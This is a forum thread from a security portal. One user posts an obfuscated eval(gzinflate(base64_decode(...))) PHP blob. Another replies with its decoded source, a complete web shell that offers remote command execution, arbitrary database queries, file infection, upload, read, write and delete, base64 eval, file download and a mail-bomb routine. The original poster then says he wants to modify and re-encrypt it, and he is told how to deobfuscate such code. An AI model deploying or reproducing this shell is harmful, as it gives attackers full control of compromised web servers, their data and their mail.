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Full disclosure |
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IT Security and Insecurity Portal |
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Simple base64 Decode |
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 Posted: Sat Feb 20, 2010 7:19 pm |
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| capt |
| Advanced user |
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| Joined: Nov 04, 2008 |
| Posts: 232 |
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Not sure why im having problems with this..
| Code: |
eval(gzinflate(base64_decode("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")));
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| Posted: Sat Feb 20, 2010 7:22 pm |
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| vince213333 |
| Advanced user |
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| Joined: Aug 03, 2009 |
| Posts: 737 |
| Location: Belgium |
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Sorry for the missing line linebreaks 
| Code: | | @set_time_limit(0);$modearr=array("cmd","sql","infect","upload","ws_ver","ws_remove","ws_read","ws_save","ws_mail","ws_eval","ws_list","ws_homedir","ws_delete","ws_makedir","ws_rmdir","ws_down");$mode=$_REQUEST['mode'];if(in_array($mode,$modearr)){ function ws_stripslashes($string){if(get_magic_quotes_gpc()){return StripSlashes($string);}else{return $string;}}if($mode=="cmd"){$cmd=$_REQUEST['cmd'];if(function_exists('system')){system($cmd);}elseif(function_exists('exec')){exec($cmd,$output);foreach($output as $line){echo$line."\n";}}elseif(function_exists('shell_exec')){$output=shell_exec($cmd);echo$output;}elseif(function_exists('popen')){$handle=popen($cmd,"r");$read=fread($handle,2096);echo$read;pclose($handle);}}if($mode=="sql"){$host=$_REQUEST['host'];$port=$_REQUEST['port'];$username=$_REQUEST['username'];$password=$_REQUEST['password'];$dbname=$_REQUEST['dbname'];$query=$_REQUEST['query'];$link=mysql_connect($host.":".$port,$username,$password) or die('Could not connect: '.mysql_error());if($_REQUEST['sqlCmd']=="getDbs"){$db_list=mysql_list_dbs($link);while($row=mysql_fetch_object($db_list)){echo"Database: ".$row->Database."\n";}mysql_free_result($db_list);}if($_REQUEST['sqlCmd']=="getTables"){$result=mysql_list_tables($dbname);$num_rows=mysql_num_rows($result);for($i=0;$i<$num_rows;$i++){echo"Table: ".mysql_tablename($result,$i)."\n";}mysql_free_result($result);}if(isset($query)){mysql_select_db($dbname,$link) or die('Could not select database');$result=mysql_query(ws_stripslashes($query)) or die("nInvalid query: ".mysql_error());while($row=mysql_fetch_assoc($result)){echo"Row {\n";foreach($row as $variable=>$value){echo$variable."=".$value."\n";}echo"\n}\n";}}mysql_close($link);}if($mode=="infect"){$handle=fopen($_REQUEST["sourceFile"],"r+") or die("Error reading source file");$contents="";while(!feof($handle)){$contents.=fread($handle,8192);}fclose($handle);$handle=fopen($_REQUEST['infectFile'],"r") or die("Error reading infect file");$contents2=$contents."\n";while(!feof($handle)){$contents2.=fread($handle,8192);}fclose($handle);$fp=fopen($_REQUEST['infectFile'],'w') or die("Error writing infect file");$write=fwrite($fp,$contents2);fclose($fp);if($write){echo$_REQUEST['infectFile']." Infected";}}if($mode == "upload"){if($_FILES){if (is_uploaded_file($_FILES['file']['tmp_name'])){$uploadfile = basename($_FILES['file']['name']);if (move_uploaded_file($_FILES['file']['tmp_name'], $_REQUEST['dir'].$uploadfile)){echo $uploadfile." has been uploaded!.";}else{echo "Upload Failed!!!";}}}}if($mode=="ws_ver"){echo"WebShell PHP Server v3.2";}if($mode=="ws_remove"){$handle=fopen($_REQUEST["file"],"r+") or die("Error reading file");$contents="";while(!feof($handle)){$contents.=fread($handle,8192);}fclose($handle);$contents2=preg_replace('/[<?\s]*eval.*\?>/si','',$contents);if($contents2){$fp=fopen($_REQUEST['file'],'w') or die("Error writing file");$write=fwrite($fp,$contents2);fclose($fp);if($write){echo"WebShell removed from ".$_REQUEST['file'];}}else{echo"Didnt Find Shell";}}if($mode=="ws_read"){$handle=fopen($_REQUEST['file'],"r") or die("Error with reading file");$contents="";while(!feof($handle)){$contents.=fread($handle,8192);}fclose($handle);echo$contents;}if($mode=="ws_save"){$contents=ws_stripslashes($_REQUEST["contents"]);$fp=fopen($_REQUEST['file'],'w') or die("Error writing ".$_REQUEST['file']." file");$write=fwrite($fp,$contents);fclose($fp);if($write){echo$_REQUEST['file']." saved";}}if($mode=="ws_mail"){$mailtimes="1";$headers='From: '.ws_stripslashes($_REQUEST['from']).'';while($mailtimes<=$_REQUEST['times']){mail(ws_stripslashes($_REQUEST['to']),ws_stripslashes($_REQUEST['subject']),ws_stripslashes($_REQUEST['msg']),$headers);$mailtimes++;}echo"Mail Bomb Complete";}if($mode=="ws_eval"){$php=$_REQUEST['php'];eval(base64_decode(ws_stripslashes($php)));}if($mode=="ws_list"){$dir=$_REQUEST['dir'];$hook=opendir($dir) or die('cant open dir');while(false!==($file=readdir($hook))){$fpath=$dir.$file;if(is_dir($fpath)){if($file!='.'&&$file!='..'){echo"Directory: ".$file."\n";}}if($file!='.'&&$file!='..'&&!is_dir($fpath)){echo"File: ".$file."\n";}}}if($mode=="ws_homedir"){echo$_SERVER["DOCUMENT_ROOT"];}if($mode=="ws_delete"){unlink($_REQUEST['file']) or die('Cant delete file');echo"File Deleted";}if($mode=="ws_makedir"){mkdir($_REQUEST['dir'],$_REQUEST['chmod']) or die('Cant create dir');echo"Directory Created";}if($mode=="ws_rmdir"){rmdir($_REQUEST['dir']) or die('Cant remove dir');echo"Directory Removed";}if($mode=="ws_down"){header('Content-type: application/octet-stream');header('Content-Disposition: attachment; filename='.$_REQUEST['file'].'');readfile($_REQUEST['file']);}die();} |
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| Posted: Sat Feb 20, 2010 7:23 pm |
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| capt |
| Advanced user |
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| Joined: Nov 04, 2008 |
| Posts: 232 |
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| Any way you can pm what you used to do this. Because I want to modify it and rencrypt it Thanks Vince for the fast response m8 |
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| Posted: Sat Feb 20, 2010 7:25 pm |
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| vince213333 |
| Advanced user |
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| Joined: Aug 03, 2009 |
| Posts: 737 |
| Location: Belgium |
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| Simply using the highlight_string() function instead of the eval() function mostly works |
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| Posted: Sat Feb 20, 2010 7:27 pm |
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| capt |
| Advanced user |
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| Joined: Nov 04, 2008 |
| Posts: 232 |
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| Thank you I will look into it ^^ |
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